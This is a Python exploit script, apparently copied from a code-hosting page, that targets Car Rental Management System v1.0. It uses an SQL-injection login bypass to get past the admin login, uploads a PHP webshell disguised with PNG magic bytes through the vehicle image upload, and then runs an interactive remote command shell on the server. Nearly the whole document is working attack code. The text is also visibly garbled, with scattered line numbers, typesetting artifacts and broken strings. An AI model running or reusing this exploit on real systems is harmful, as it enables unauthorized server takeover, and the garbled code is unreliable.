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CarRentalManagement-Unauth-RCE-WebApp / CarRental-Unauth-RCE.py / <> Jump to ▼

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hyd3sec Add files via upload

As 1 contributor
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157 lines (147 sloc) | 6.85 KB
                                                                                                                                                                          ...
     # Exploit Title: Car Rental Management System v1.0 - Unauthenticated RCE
     # Exploit Author: Adeeb Shah (@hyd3sec)
     # Shout out: Bobby Cooke (boku)
     # Date: August 3, 2020
     # Vendor Homepage: https://projectworlds.in
     # Software Link: https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/
     # Version: 1.0
     # Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7
     # Vulnerability Description:
     # Car Rental Management System v1.0 suffers from a SQLi authentication bypass allowing remote attackers
 11
     # to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.
 12
 13
     import requests, sys, re
 14
      from colorama import Fore, Back, Style
      requests.packages.urllib3.disable\_warnings(requests.packages.urllib3.exceptions. \underline{InsecureRequestWarning})
                     = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
 17
      F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
 18
     B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
      S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
 19
     info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+'
 20
      err = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+'
 21
      ok = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+'
 23
 24
      {\tt def webshell(SERVER\_URL, WEBSHELL\_PATH, session):}
25
         try:
            WEB_SHELL = SERVER_URL + WEBSHELL_PATH
26
             print(info+"Webshell URL: "+ WEB_SHELL)
27
             getdir = {'s33k': 'echo %CD%'}
 28
             req = session.post(url=WEB_SHELL, data=getdir, verify=False)
 30
             status = req.status_code
 31
            if status != 200:
 32
                print(err+"Could not connect to the webshell.")
33
                 req.raise_for_status()
 34
             print(ok+'Successfully connected to webshell.')
             cwd = re.findall('[CDEF].*', req.text)
 36
             cwd = cwd[0]+"> "
 37
             term = S[3]+F[3]+cwd+F[0]
             print(F[0]+'.....'+' Remote Code Execution '+F[0]+'.....')
 38
 39
             while True:
 40
               cmd = raw_input(term)
                command = {'s33k': cmd}
 41
 42
                 req = requests.post(WEB_SHELL, data=command, verify=False)
43
                status = req.status_code
44
                if status != 200:
                  req.raise_for_status()
45
46
                 resp= req.text
 47
                 print(resp)
 48
 49
             \label{lem:print('\r\n'+err+'Webshell session failed. Quitting.')} print('\r\n'+err+'Webshell session failed. Quitting.')
50
             sys.exit(-1)
51
52
     def SIG():
 53
         SIG = S[1]+"
                                  , (&aaaaa* ,aaaaaaa%(
                        55
         SIG += "
                    SIG += " @@@@@@@@# /@@@@@ #@@@@@@@&. * /@@@@@@ \n"
 56
         SIG += " @@(@@@@@ /@@@@@@ @@@@@@@@@@@@@@ \n"
57
         SIG += " @@
58
                          %@.\n"
         SIG += " @@
 59
                                                           /@#\n"
                           %@@@@@@@@@@ %@@@@@@@@@@@@.
          SIG += " %@
                           /00000000000 $0000000000
         SIG += " @@
 61
                                  ...*&@@@@@@@@@@@
         SIG += " ,&@@@@&
 62
                              /@@@@"+S[0]+S[3]+"@hyd3sec"+S[0]+S[1]+"@@@@@
                                                                             (@@@@@% \n"
         SIG += "
63
                          0000 (00%0000000000/00 *000%
         SIG += "
                              @@@@@@,*@@@@@ %@@@@@@ \n'
64
         SIG += "
                                @@@@@# @ @@@@@% \n"
65
                                 800000 000000
 67
         SIG += "
         SIG += "
 68
69
         SIG += "
                                   ලය*%ලලල ලලල
                                                \n"
         SIG += "
70
                                   @@ @@ @@
                                                 \n"
         SIG += "
71
         return SIG
 74
      def formatHelp(STRING):
75
         return S[3]+F[2]+STRING+S[0]
 76
 77
     def header():
 78
         head = S[2]+F[4]+'
                                --- Car Rental Management System v1.0 - Unauthenticated Remote Code Execution (RCE) ---\n'+S[0]
```

```
return head
 81
      if __name__ == "__main__":
82
     #1 | INIT
83
         print(header())
 84
          print(SIG())
 85
          if len(sys.argv) != 2:
             print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
 87
             print(err+formatHelp("Example:\t python %s 'http://192.168.222.132/car-Rental-syatem-PHP-MYSQL-master/'" % sys.argv[0]))
 88
             sys.exit(-1)
 89
          # python CLI Arguments
          SERVER_URL = sys.argv[1]
 90
 91
          # URLs
          LOGIN_URL = sys.argv[1] + 'login.php'
 93
          UPLOAD_URL = SERVER_URL + 'admin/add_cars.php'
 94
          #BYPASS VARS
          USERNAME = '\' or 1=1-- admin'
95
          PASSWORD = 'hyd3secboku'
 96
 97
      #2 | Create Session
 99
          # Create a web session in python
100
          s = requests.Session()
101
          # GET request to webserver - Start a session & retrieve a session cookie
          get_session = s.get(sys.argv[1], verify=False)
102
          # Check connection to website & print session cookie to terminal OR die
103
          if get_session.status_code == 200:
104
105
             print(ok+'Successfully connected to Car Rental Management System server & created session.')
             print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
106
107
          else:
108
             print(err+'Cannot connect to the server and create a web session.')
109
             sys.exit(-1)
          # POST data to bypass authentication as admin
110
          login_data = {'uname':USERNAME, 'pass':PASSWORD,'login':'Login Here'}
112
          print(info+"Attempting to Bypass Admin Login")
          #auth
113
                     = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
114
          auth
                     = s.post(url=LOGIN_URL, data=login_data, verify=False)
          loginchk = str(re.findall(r'Login Successful', auth.text))
115
          # print(loginchk) # Debug - search login response for successful login
116
117
          if loginchk == "[u'Login Successful']":
118
             print(ok+"Bypass successful.")
119
             print(err+"Failed login. Check admin username.")
120
121
             sys.exit(-1)
122
123
124
          PNG_magicBytes = '\x87\x50\x4e\x47\x0d\x0a\x1a'
125
          Content-Disposition: form-data; name="image"; filename="file.php"
126
     # Content-Type: application/x-php
127
          websh
                     = {
             'image':
128
             (
129
131
                  '<?php echo shell_exec($_REQUEST["s33k"]); ?>',
132
                  'image/png',
133
                 {'Content-Disposition': 'form-data'}
134
            )
135
136
                     = {'send':'lolz'}
137
          print(info+"Exploiting vehicle image file upload vulnerability to upload a PHP webshell")
138
          #upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
139
          upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False)
140
141
      #4 | Get Webshell Upload Name
142
         uploadchk = re.findall(r'Vehicle Succesfully Added', upload_car.text)
          #print uploadchk[0]
143
144
          #uploadchk = uploadchk[0]
145
          # print(uploadchk) # Debug - Find webshell file upload in response
146
          #print uploadchk
147
          #uploadchk = uploadchk[0]
          if uploadchk[0] == "Vehicle Succesfully Added":
148
             print(ok+"Successfully uploaded webshell")
149
150
151
                 print(err+"Webshell upload failed.")
152
                 sys.exit(-1)
153
          webshPath = 'cars/hvd3.php'
          print(info+"Webshell Filename: " + webshPath)
154
155
      #5 | interact with webshell for Remote Command Execution
157
          webshell(SERVER_URL, webshPath, s)
```